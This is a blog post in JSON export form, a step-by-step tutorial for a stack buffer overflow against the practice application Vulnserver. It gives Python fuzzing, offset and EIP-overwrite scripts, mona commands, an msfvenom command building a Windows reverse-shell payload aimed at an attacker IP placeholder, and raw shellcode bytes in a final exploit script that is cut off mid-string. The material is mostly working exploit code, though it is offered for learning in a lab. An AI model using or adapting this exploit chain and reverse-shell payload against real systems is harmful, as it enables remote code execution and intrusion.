{"id":918,"date":"2020-10-08T20:22:25","date_gmt":"2020-10-08T09:22:25","guid":{"rendered":"https:\/\/catharsis.net.au\/blog\/?p=918"},"modified":"2026-01-21T15:40:48","modified_gmt":"2026-01-21T04:40:48","slug":"basic-buffer-overflow-guide","status":"publish","type":"post","link":"https:\/\/catharsis.net.au\/blog\/basic-buffer-overflow-guide\/","title":{"rendered":"Basic Buffer Overflow Guide"},"content":{"rendered":"\n<p class=\"has-drop-cap has-background\" style=\"background-color:#b7f3db\">A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers. Writing outside the bounds of a block of allocated memory can corrupt data, crash the program, or cause the execution of malicious code. <\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#f8a4b9\">Steps below were performed on &#8220;<strong>VULNSERVER<\/strong>&#8220;.<\/p>\n\n\n\n<p>Let&#8217;s connect to the vulnserver.exe through Netcat &amp; find out how the application responds:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"392\" height=\"296\" src=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/vulnserver.png\" alt=\"\" class=\"wp-image-941\" srcset=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/vulnserver.png 392w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/vulnserver-300x227.png 300w\" sizes=\"auto, (max-width: 392px) 100vw, 392px\" \/><\/figure><\/div>\n\n\n\n<p>We can understand by looking at it, that the application accepts some commands. Now, we need to perform these steps to get the buffer overflow attack working:<\/p>\n\n\n\n<p><strong>1.) Spiking:<\/strong><\/p>\n\n\n\n<p>Spiking is done to figure out what is vulnerable. We can use a tool called \u201cgeneric_send_tcp\u201d to generate TCP connections with the vulnerable application. :<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-004917.png\" alt=\"\" class=\"wp-image-919\" width=\"576\" height=\"70\" srcset=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-004917.png 549w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-004917-300x37.png 300w\" sizes=\"auto, (max-width: 576px) 100vw, 576px\" \/><figcaption>generic_send_tcp tool usage<\/figcaption><\/figure>\n\n\n\n<p>In a real pentest scenario, an exhaustive review of all the inputs is required, you might be given a list with all the inputs in case of white box testing, and if not so, it&#8217;s a very time-consuming process to figure out all the paths &amp; vulnerable input. So during spiking, in .spk script, we have to try all commands and check at which command the application crashes, in this case, it came out to be TRUN command and .spk script at which the application is crashing looks something like this (example for vulnserver.exe), :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>s_readline();\ns_string(\"TRUN \");\ns_string_variable(\"0\");<\/code><\/pre>\n\n\n\n<p>We need to try all possible commands or injections to figure out at exactly which command the application is crashing, in case of vulnserver.exe, it is crashing on &#8220;TRUN&#8221; command. Once we figure that out we are good to go ahead with that.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>2.) Fuzzing:<\/strong><\/p>\n\n\n\n<p>Once we have figured out which command is vulnerable (in this case it is &#8220;TRUN&#8221; command), we need to find approximately at how many bytes the application is crashing. For that purpose, I used following script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\nfrom time import sleep\n\n############### fuzzing script ##################\n\nbuffer = \"A\" * 100\n\nwhile True:\n        try:\n\n                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n                s.connect(('172.16.70.134',9999))\n\n                s.send(('TRUN \/.:\/' + buffer))\n                s.close\n                sleep(1)\n                buffer = buffer + \"A\"*100\n\n        except:\n                print \"Fuzzing crashed at %s bytes\" % str(len(buffer))\n                sys.exit()<\/code><\/pre>\n\n\n\n<p>After this script execution, the program crashes, and roughly we know at how many bytes does the program crashed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-010202.png\" alt=\"\" class=\"wp-image-921\" width=\"582\" height=\"67\" srcset=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-010202.png 459w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-010202-300x35.png 300w\" sizes=\"auto, (max-width: 582px) 100vw, 582px\" \/><figcaption>For some reason my script didn&#8217;t crashed, after immediately killing I got 3200 bytes value.<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>3.) Finding the Offset:<\/strong><\/p>\n\n\n\n<p>Using the above value, we will use the tool \u201cpattern_create.rb\u201c to generate a pattern for those many bytes.<\/p>\n\n\n\n<p>-l is for length which we get approximately from the fuzzing:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 3200<\/code><\/pre>\n\n\n\n<p>Once we have this pattern, we send this to the program by using the following python script &amp; check what is the value you are getting in EIP there in immunity debugger.:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\n\n############### finding the offset script ##################\n## Generate offset using pattern offset command\n\noffset = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9\"\n\n\n\ntry:\n\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('172.16.70.134',9999))\n        s.send(('TRUN \/.:\/' + offset))\n        s.close\n\n\nexcept:\n        print \"Error connecting to the server\"\n        sys.exit()<\/code><\/pre>\n\n\n\n<p>After running this script, the program crashed and we got this in EIP:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-011145.png\" alt=\"\" class=\"wp-image-922\" width=\"578\" height=\"171\" srcset=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-011145.png 530w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-011145-300x89.png 300w\" sizes=\"auto, (max-width: 578px) 100vw, 578px\" \/><figcaption>Value received in EIP: 386F4337<\/figcaption><\/figure>\n\n\n\n<p>so we now need to find that this value (386F4337) is exactly where in our pattern, it will indicate offset value. For that, we will be using \u201cpattern_offset.rb\u201d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -l 3200 -q 386F4337\nsample output: \n \t&#91;*] Exact match at offset 2003<\/code><\/pre>\n\n\n\n<p>So we know we need to have 2003 bytes written and then we will start writing to our EIP (Evil Instruction Pointer).<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>4.) Overwriting the EIP:<\/strong><\/p>\n\n\n\n<p>To test this value, we can use this script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\n\n############### OVERITING THE EIP ##################\n## this 2003 is the value we find from previos script for exact address.\n\nshellcode = \"A\" * 2003 + \"B\" * 4\n\ntry:\n\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('172.16.70.134',9999))\n\n        s.send(('TRUN \/.:\/' + shellcode))\n        s.close\n\n\nexcept:\n        print \"Error connecting to the server\"\n        sys.exit()<\/code><\/pre>\n\n\n\n<p>After writing 2003 &#8220;A&#8221;, this script will write 4 &#8220;B&#8221; &amp; if we see these 4 &#8220;B&#8221; in EIP, we have verified that we can write in EIP. The output from the following script:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"460\" src=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-012048.png\" alt=\"\" class=\"wp-image-923\" srcset=\"https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-012048.png 784w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-012048-300x176.png 300w, https:\/\/catharsis.net.au\/blog\/wp-content\/uploads\/2020\/10\/image-20200920-012048-768x451.png 768w\" sizes=\"auto, (max-width: 784px) 100vw, 784px\" \/><figcaption>We are now controlling the EIP<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>5.) Finding the bad characters:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-group has-background\" style=\"background-color:#f8c0ce\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p class=\"has-background\" style=\"background-color:#f8c0ce\">A bad character is essentially a rundown of undesirable characters that can break the shellcodes. There is no universal arrangement of bad characters, as we would presumably be starting to see, yet relying upon the application and the developer logic there is an alternate arrangement of bad characters for each program that we would experience. Thusly, we should discover the bad characters in each application before composing the shellcode.  <\/p>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-group has-background\" style=\"background-color:#f8c0ce\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p>Some of the very common bad characters are:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>00 for NULL<\/li><li>0A for Line Feed \\n<\/li><li>0D for Carriage Return \\r<\/li><li>FF for Form Feed \\f<\/li><\/ul>\n<\/div><\/div>\n<\/div><\/div>\n<\/div><\/div>\n<\/div><\/div>\n\n\n\n<p><\/p>\n<\/div><\/div>\n\n\n\n<p>List of bad characters can be easily found on Google. Remember \/x00 is always a bad character. We will modify our script like this now:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\n\n############### Finding the badchars ##################\n\nbadchars = (\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\"\n\"\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\"\n\"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\"\n\"\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\"\n\"\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\"\n\"\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\"\n\"\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\"\n\"\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\")\nshellcode = \"A\" * 2003 + \"B\" * 4 + badchars\n\ntry:\n\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('172.16.70.134',9999))\n\n        s.send(('TRUN \/.:\/' + shellcode))\n        s.close\n\n\nexcept:\n        print \"Error connecting to the server\"\n        sys.exit()<\/code><\/pre>\n\n\n\n<p>Once we fire this script and program crashes, we need to right-click the ESP and \u201cFollow in DUMP\u201c and then look at it carefully that what characters looks out of the place.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/catharsis.net.au\/wp-content\/uploads\/2020\/09\/image-20200920-013510-1024x887.png\" alt=\"\" class=\"wp-image-1116\" width=\"599\" height=\"518\"\/><figcaption>Steps to follow bad characters<\/figcaption><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>6.) Finding the right modules:<\/strong><\/p>\n\n\n\n<p>Search for mona modules from github, download <a href=\"https:\/\/github.com\/corelan\/mona\/blob\/master\/mona.py\">mona.py<\/a> &amp; put it in program files &gt; immunity inc &gt; Immunity debugger &gt; PyCommands<\/p>\n\n\n\n<p>Now fire up the immunity debugger and in the command line below put the command:<br><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona modules<\/code><\/pre>\n\n\n\n<p><br>We need to find something attached to a vulnerable server and everything should be false. (essfunc.dll for example)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/catharsis.net.au\/wp-content\/uploads\/2020\/09\/image-20200920-014042-1024x470.png\" alt=\"\" class=\"wp-image-1117\"\/><\/figure>\n\n\n\n<p>We need to use now opcode equivalent to jump the flow to our malicious payload:<\/p>\n\n\n\n<p>can be done using nasm_shell, locate nasm_shell<br>JMP ESP &gt; FFE4 \u2014 i.e. \\xff\\xe4, then<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona find -s \"\\xff\\xe4\" -m essfunc.dll<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/catharsis.net.au\/wp-content\/uploads\/2020\/09\/image-20200920-014630-1024x235.png\" alt=\"\" class=\"wp-image-1120\"\/><\/figure>\n\n\n\n<p>We have 9 such pointers in this example, we can choose one of them, I am looking at the very first one which is \u201c625011af\u201d.<\/p>\n\n\n\n<p>We can verify that if it\u2019s a JMP ESP by searching this pointer here:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/catharsis.net.au\/wp-content\/uploads\/2020\/09\/image-20200920-015444.png\" alt=\"\" class=\"wp-image-1121\"\/><\/figure>\n\n\n\n<p>Now, we use this script to send this over to vulnerable program (note: we will input it in a reverse manner in python script because of little-endian format which reads reverse.)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\n\n############### mona jump code##################\n\nshellcode = \"A\" * 2003 + \"B\" * 4 + \"\\xaf\\x11\\x50\\x62\"\n\ntry:\n\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('172.16.70.134',9999))\n\n        s.send(('TRUN \/.:\/' + shellcode))\n        s.close\n\n\nexcept:\n        print \"Error connecting to the server\"\n        sys.exit()<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>7.) Exploitation:<\/strong><\/p>\n\n\n\n<p>Generate payload using MSFvenom &amp; remember to specify all bad characters using -b(\\x00 is always bad):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> msfvenom -p windows\/shell_reverse_tcp LHOST=&lt;ATTACKER IP> LPORT=5656 EXITFUNC=thread -f c -a x86 -b \"\\x00\"\n \n&#91;-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload\nFound 11 compatible encoders\nAttempting to encode payload with 1 iterations of x86\/shikata_ga_nai\nx86\/shikata_ga_nai succeeded with size 351 (iteration=0)\nx86\/shikata_ga_nai chosen with final size 351\nPayload size: 351 bytes\nFinal size of c file: 1500 bytes\nunsigned char buf&#91;] = \n\"\\xba\\xca\\xc8\\x92\\x7a\\xd9\\xc6\\xd9\\x74\\x24\\xf4\\x5e\\x29\\xc9\\xb1\"\n\"\\x52\\x31\\x56\\x12\\x83\\xc6\\x04\\x03\\x9c\\xc6\\x70\\x8f\\xdc\\x3f\\xf6\"\n\"\\x70\\x1c\\xc0\\x97\\xf9\\xf9\\xf1\\x97\\x9e\\x8a\\xa2\\x27\\xd4\\xde\\x4e\"\n\"\\xc3\\xb8\\xca\\xc5\\xa1\\x14\\xfd\\x6e\\x0f\\x43\\x30\\x6e\\x3c\\xb7\\x53\"\n\"\\xec\\x3f\\xe4\\xb3\\xcd\\x8f\\xf9\\xb2\\x0a\\xed\\xf0\\xe6\\xc3\\x79\\xa6\"\n\"\\x16\\x67\\x37\\x7b\\x9d\\x3b\\xd9\\xfb\\x42\\x8b\\xd8\\x2a\\xd5\\x87\\x82\"\n\"\\xec\\xd4\\x44\\xbf\\xa4\\xce\\x89\\xfa\\x7f\\x65\\x79\\x70\\x7e\\xaf\\xb3\"\n\"\\x79\\x2d\\x8e\\x7b\\x88\\x2f\\xd7\\xbc\\x73\\x5a\\x21\\xbf\\x0e\\x5d\\xf6\"\n\"\\xbd\\xd4\\xe8\\xec\\x66\\x9e\\x4b\\xc8\\x97\\x73\\x0d\\x9b\\x94\\x38\\x59\"\n\"\\xc3\\xb8\\xbf\\x8e\\x78\\xc4\\x34\\x31\\xae\\x4c\\x0e\\x16\\x6a\\x14\\xd4\"\n\"\\x37\\x2b\\xf0\\xbb\\x48\\x2b\\x5b\\x63\\xed\\x20\\x76\\x70\\x9c\\x6b\\x1f\"\n\"\\xb5\\xad\\x93\\xdf\\xd1\\xa6\\xe0\\xed\\x7e\\x1d\\x6e\\x5e\\xf6\\xbb\\x69\"\n\"\\xa1\\x2d\\x7b\\xe5\\x5c\\xce\\x7c\\x2c\\x9b\\x9a\\x2c\\x46\\x0a\\xa3\\xa6\"\n\"\\x96\\xb3\\x76\\x68\\xc6\\x1b\\x29\\xc9\\xb6\\xdb\\x99\\xa1\\xdc\\xd3\\xc6\"\n\"\\xd2\\xdf\\x39\\x6f\\x78\\x1a\\xaa\\x50\\xd5\\x53\\x54\\x39\\x24\\x9b\\xbe\"\n\"\\xa1\\xa1\\x7d\\xd4\\xc1\\xe7\\xd6\\x41\\x7b\\xa2\\xac\\xf0\\x84\\x78\\xc9\"\n\"\\x33\\x0e\\x8f\\x2e\\xfd\\xe7\\xfa\\x3c\\x6a\\x08\\xb1\\x1e\\x3d\\x17\\x6f\"\n\"\\x36\\xa1\\x8a\\xf4\\xc6\\xac\\xb6\\xa2\\x91\\xf9\\x09\\xbb\\x77\\x14\\x33\"\n\"\\x15\\x65\\xe5\\xa5\\x5e\\x2d\\x32\\x16\\x60\\xac\\xb7\\x22\\x46\\xbe\\x01\"\n\"\\xaa\\xc2\\xea\\xdd\\xfd\\x9c\\x44\\x98\\x57\\x6f\\x3e\\x72\\x0b\\x39\\xd6\"\n\"\\x03\\x67\\xfa\\xa0\\x0b\\xa2\\x8c\\x4c\\xbd\\x1b\\xc9\\x73\\x72\\xcc\\xdd\"\n\"\\x0c\\x6e\\x6c\\x21\\xc7\\x2a\\x8c\\xc0\\xcd\\x46\\x25\\x5d\\x84\\xea\\x28\"\n\"\\x5e\\x73\\x28\\x55\\xdd\\x71\\xd1\\xa2\\xfd\\xf0\\xd4\\xef\\xb9\\xe9\\xa4\"\n\"\\x60\\x2c\\x0d\\x1a\\x80\\x65\";<\/code><\/pre>\n\n\n\n<p>Put this is in your python script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python\nimport sys, socket\n\n############### EXPLOITATION &amp; FUN ##################\noverflow = (\n\"\\xbd\\x3e\\xf4\\x13\\xb9\\xdb\\xcf\\xd9\\x74\\x24\\xf4\\x5a\\x2b\\xc9\\xb1\"                                                                                                            \n\"\\x52\\x31\\x6a\\x12\\x83\\xc2\\x04\\x03\\x54\\xfa\\xf1\\x4c\\x54\\xea\\x74\"\n\"\\xae\\xa4\\xeb\\x18\\x26\\x41\\xda\\x18\\x5c\\x02\\x4d\\xa9\\x16\\x46\\x62\"\n\"\\x42\\x7a\\x72\\xf1\\x26\\x53\\x75\\xb2\\x8d\\x85\\xb8\\x43\\xbd\\xf6\\xdb\"\n\"\\xc7\\xbc\\x2a\\x3b\\xf9\\x0e\\x3f\\x3a\\x3e\\x72\\xb2\\x6e\\x97\\xf8\\x61\"\n\"\\x9e\\x9c\\xb5\\xb9\\x15\\xee\\x58\\xba\\xca\\xa7\\x5b\\xeb\\x5d\\xb3\\x05\"\n\"\\x2b\\x5c\\x10\\x3e\\x62\\x46\\x75\\x7b\\x3c\\xfd\\x4d\\xf7\\xbf\\xd7\\x9f\"\n\"\\xf8\\x6c\\x16\\x10\\x0b\\x6c\\x5f\\x97\\xf4\\x1b\\xa9\\xeb\\x89\\x1b\\x6e\"\n\"\\x91\\x55\\xa9\\x74\\x31\\x1d\\x09\\x50\\xc3\\xf2\\xcc\\x13\\xcf\\xbf\\x9b\"\n\"\\x7b\\xcc\\x3e\\x4f\\xf0\\xe8\\xcb\\x6e\\xd6\\x78\\x8f\\x54\\xf2\\x21\\x4b\"\n\"\\xf4\\xa3\\x8f\\x3a\\x09\\xb3\\x6f\\xe2\\xaf\\xb8\\x82\\xf7\\xdd\\xe3\\xca\"\n\"\\x34\\x